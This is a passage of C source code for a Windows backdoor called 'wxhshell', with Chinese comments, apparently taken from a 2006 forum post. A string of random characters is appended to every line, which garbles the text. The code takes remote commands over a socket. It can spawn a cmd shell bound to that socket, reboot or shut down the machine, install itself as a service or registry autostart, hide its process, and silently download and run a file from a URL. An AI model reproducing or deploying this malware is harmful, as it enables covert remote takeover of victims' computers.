  case '?': { =)Goip  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?DNeL;6  
    break; IZ.b  
  } SQuW`EHBgs  
  // 安装 t +CU  
  case 'i': { IueI7A  
    if(Install()) x_4{MD^%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n!NA}Oa  
    else  Zzr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4%TmW/yd  
    break; 2qKAO/_O  
    } G#'G9/Tm  
  // 卸载 *vzj(HGO  
  case 'r': { '}P$hP_d  
    if(Uninstall()) R_:-Z .  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h#|Ac>fz  
    else sNC~S%[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VOp+6ho<  
    break; ve(@=MJ  
    } e#tWQM3  
  // 显示 wxhshell 所在路径 y#lg)nB  
  case 'p': { w /CD-  
    char svExeFile[MAX_PATH]; 9v}vCg  
    strcpy(svExeFile,"\n\r"); fEyc3K'5V  
      strcat(svExeFile,ExeFile); h&b s`  
        send(wsh,svExeFile,strlen(svExeFile),0); !/e8x;_  
    break; Psjk 7\  
    } tZD^<Q7}\  
  // 重启 o1<Z; 2#  
  case 'b': { l-[5Zl;"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); piPV&ytI  
    if(Boot(REBOOT)) Jqt|' G3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8.' THLI  
    else { `SYq/6$VEH  
    closesocket(wsh); 7)Bizlf  
    ExitThread(0); FzFP 0  
    } FOX0  
    break; gAy"W$F  
    } DEKO] i  
  // 关机 t~]tw  
  case 'd': { 3 W?H^1t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >vQKCc|93  
    if(Boot(SHUTDOWN)) lMXLd91  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QPsvc6ds  
    else { k=5v J72U  
    closesocket(wsh); t$U eks  
    ExitThread(0); "eKM<S  
    } BH?fFe&J:`  
    break; K%>3ev=y.s  
    } 1f5;^T I  
  // 获取shell th|TwD&mO  
  case 's': { ebB8.(k9G3  
    CmdShell(wsh); 0J9Ub   
    closesocket(wsh); YoRD9M~iG~  
    ExitThread(0); G/}nwj\  
    break; K6oQx)|  
  } A)o%\j  
  // 退出 f<2<8xS  
  case 'x': { o}lA\A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ns`:=  
    CloseIt(wsh); yvKKE  
    break; K;(t@GL?  
    } JuXuS  
  // 离开 dw< b}2  
  case 'q': { WLN;LT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >U[YSsFt6  
    closesocket(wsh); P;l D ri  
    WSACleanup(); )m$i``*<  
    exit(1); (W $>!1~  
    break; TInp6w+u  
        }  Wwo`R5  
  } uF\f>E)/N%  
  } l#%G~c8x  
'fY( Vm  
  // 提示信息 V%!my[b  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +K*_=gHF.  
} {FNq&)#`  
  } r*4@S~;  
[5jXYqD=vj  
  return; /hbdQm  
} ST^{?Q  
H}&4#CQ'!  
// shell模块句柄 TY *q[AWG  
int CmdShell(SOCKET sock) &+F}$8,  
{ \"hP*DJ"  
STARTUPINFO si; r#' E;Yx  
ZeroMemory(&si,sizeof(si)); Fpf-Fa-K\b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .ID9Xd$fky  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %(n^re uP  
PROCESS_INFORMATION ProcessInfo; GF awmNZ  
char cmdline[]="cmd"; a'A'%+2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +h? z7ZY^  
  return 0; _f~m&="T!  
} e.pq6D5  
i?pC[Ao-_  
// 自身启动模式 Z%O>|ozpq  
int StartFromService(void) wDS(zG   
{ ( G#W6  
typedef struct ^6I8a"  
{ v?(9ZY]  
  DWORD ExitStatus; &IgH]?t  
  DWORD PebBaseAddress; cu$i8$?t   
  DWORD AffinityMask; $79-)4;z4  
  DWORD BasePriority; t:.ZvA3  
  ULONG UniqueProcessId; Z }Z]["q  
  ULONG InheritedFromUniqueProcessId; *f( e`3E  
}   PROCESS_BASIC_INFORMATION; 1q;r4$n  
l>:\% ol  
PROCNTQSIP NtQueryInformationProcess; wZ =*ejo  
K+J fU J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~ 'L`RJR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E'4 dI:  
:\8&Th}Se  
  HANDLE             hProcess; j*}2AI  
  PROCESS_BASIC_INFORMATION pbi; 2w? 5vSv  
r:uW(<EP^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dX:#KdK  
  if(NULL == hInst ) return 0; [xsiSt?6  
iKN800^u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ck4g=QpD{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tM;S )S(=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P_3U4J  
J?N9*ap)  
  if (!NtQueryInformationProcess) return 0; o@g/,V $  
s.G6?1VXlY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jW!)5(B[A  
  if(!hProcess) return 0; &SE+7HXw  
5!)_" u3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KdB9Q ;  
|;6l1]hk6  
  CloseHandle(hProcess); K~JXP5`(  
MW6KEiQ"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fKZgAISF  
if(hProcess==NULL) return 0; <E.$4/T  
{Lm%zdk*k  
HMODULE hMod; +4%: q~C  
char procName[255]; vs~lyM/  
unsigned long cbNeeded; r 2L=gI  
D1VM_O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p~w|St 7jg  
*=ymK*  
  CloseHandle(hProcess); r@m2foaO  
-P3;7_}]:h  
if(strstr(procName,"services")) return 1; // 以服务启动 ,dIo\Lm  
Vz,2_QJ  
  return 0; // 注册表启动 hu+% X.F4  
} lm;G8IP`  
~ U,a?LR/  
// 主模块  kwd)5J  
int StartWxhshell(LPSTR lpCmdLine) h*GU7<F:a  
{ Z'I0e9Jw  
  SOCKET wsl; !p~K;p,  
BOOL val=TRUE; L7lRh=D  
  int port=0; B =`"!?we  
  struct sockaddr_in door; 9&`ejeD  
)c$)am\I{  
  if(wscfg.ws_autoins) Install(); >av.pJ(>  
';z5]O~  
port=atoi(lpCmdLine); -'OO6mU  
NJglONO  
if(port<=0) port=wscfg.ws_port; h8MkfHH7{  
]XH}G9X^  
  WSADATA data; axW4 cS ?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hj.Du+1  
sR1 &2hB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   br9`77J8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); aab?hR  
  door.sin_family = AF_INET; HKdR?HM1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !bHM:!6^  
  door.sin_port = htons(port); a~-^$Fzgy  
S3k>34_%9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hsUP5_  
closesocket(wsl); E0i_sB~T  
return 1; ;|Ja|@82  
} zjrr*iw  
p3NTI/-  
  if(listen(wsl,2) == INVALID_SOCKET) { -)Y?1w  
closesocket(wsl); %Jpb&CEY  
return 1; =!`\=!y  
} >5jHgs#  
  Wxhshell(wsl); [}OL@num  
  WSACleanup(); *ppb 4R;CW  
;#$zHR  
return 0; H?=D,  
7BX%z$_)A  
} e]+ [lq\p@  
c[Mz#BWG  
// 以NT服务方式启动 (Rc 0l;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U "qO&;m  
{ ] PnE%  
DWORD   status = 0; 'd"\h#  
  DWORD   specificError = 0xfffffff; X&<#3n  
-^ (NIl'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L^`oJ9k!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 995^[c1o6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,K'}<dm|x  
  serviceStatus.dwWin32ExitCode     = 0; Lu~e^Ul   
  serviceStatus.dwServiceSpecificExitCode = 0; GZN@MK*co  
  serviceStatus.dwCheckPoint       = 0; S"=o U}'|  
  serviceStatus.dwWaitHint       = 0; DT=!  
IP1|$b}sq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z6cG<,DQ  
  if (hServiceStatusHandle==0) return; YSuw V)Y  
(8r?'H8ZO  
status = GetLastError(); [)gvP'  
  if (status!=NO_ERROR) 6wWA(![w"  
{ k*4?fr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DOXRU5uP3  
    serviceStatus.dwCheckPoint       = 0; *4zVK/FJ  
    serviceStatus.dwWaitHint       = 0; "z }bgy  
    serviceStatus.dwWin32ExitCode     = status; /Ki :6  
    serviceStatus.dwServiceSpecificExitCode = specificError; N[}XLhbt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S)"5X)mq  
    return; |7zm!^t$  
  } ]sjOn?YA+  
2="C6 7TK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'FBvAk6  
  serviceStatus.dwCheckPoint       = 0; J<_&f_K0]  
  serviceStatus.dwWaitHint       = 0; LwUvM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (D8'qx-M  
} &-+&`h|s  
|k'I?:'  
// 处理NT服务事件,比如:启动、停止 jkNZv. )p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WII_s|YSt%  
{ 0EXAdRR  
switch(fdwControl) mId{f  
{ gzDb~UEoF  
case SERVICE_CONTROL_STOP: 9w Kz p  
  serviceStatus.dwWin32ExitCode = 0; _<.R\rX&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {\t:{.F A  
  serviceStatus.dwCheckPoint   = 0; q9Y0Lk  
  serviceStatus.dwWaitHint     = 0; U hCd,  
  { E"Xi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xiRTp:>  
  } 6x@-<{L  
  return; 1&YP}sg)  
case SERVICE_CONTROL_PAUSE: cf@#a@7m9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qRB7I:m-Wi  
  break; vfhip"1  
case SERVICE_CONTROL_CONTINUE: Qb# S)[6s+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; VH*j3  
  break; @F7QQs3  
case SERVICE_CONTROL_INTERROGATE: c2"eq2'BS  
  break; kXX RMR  
}; raJyo>xXb5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `T9<}&=!  
} q#\eL~k  
nTu"  
// 标准应用程序主函数 ijhMJ?3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .yWdlq##  
{ lQ+-g#`  
$ ]81s`  
// 获取操作系统版本 & 8&WY1cU  
OsIsNt=GetOsVer(); NHc+QMbou(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6-X7C9`C  
N&>D/Z;"  
  // 从命令行安装 QW2% Gv:  
  if(strpbrk(lpCmdLine,"iI")) Install(); \iVYhl  
1<R \V  
  // 下载执行文件 C1G Wi4)  
if(wscfg.ws_downexe) { SwP h-6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b'-gy0  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5 ?vIkf  
} j#p3c  
G#% =R`k/  
if(!OsIsNt) { nj9hRiL n  
// 如果时win9x,隐藏进程并且设置为注册表启动 {{DW P-v4  
HideProc(); oW+R:2I~O  
StartWxhshell(lpCmdLine); FyS K&  
} 98O z  
else Vr0RdO  
  if(StartFromService()) rWvJ{-%  
  // 以服务方式启动 Tf0#+6 1>  
  StartServiceCtrlDispatcher(DispatchTable); HRw,D=  
else $9J"r9@@  
  // 普通方式启动 Y0hL_46>  
  StartWxhshell(lpCmdLine); H{GbOI.  
cL WM]\Y  
return 0; 9Pb0Olh  
}
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只看该作者 1 发表于: 2006-10-10
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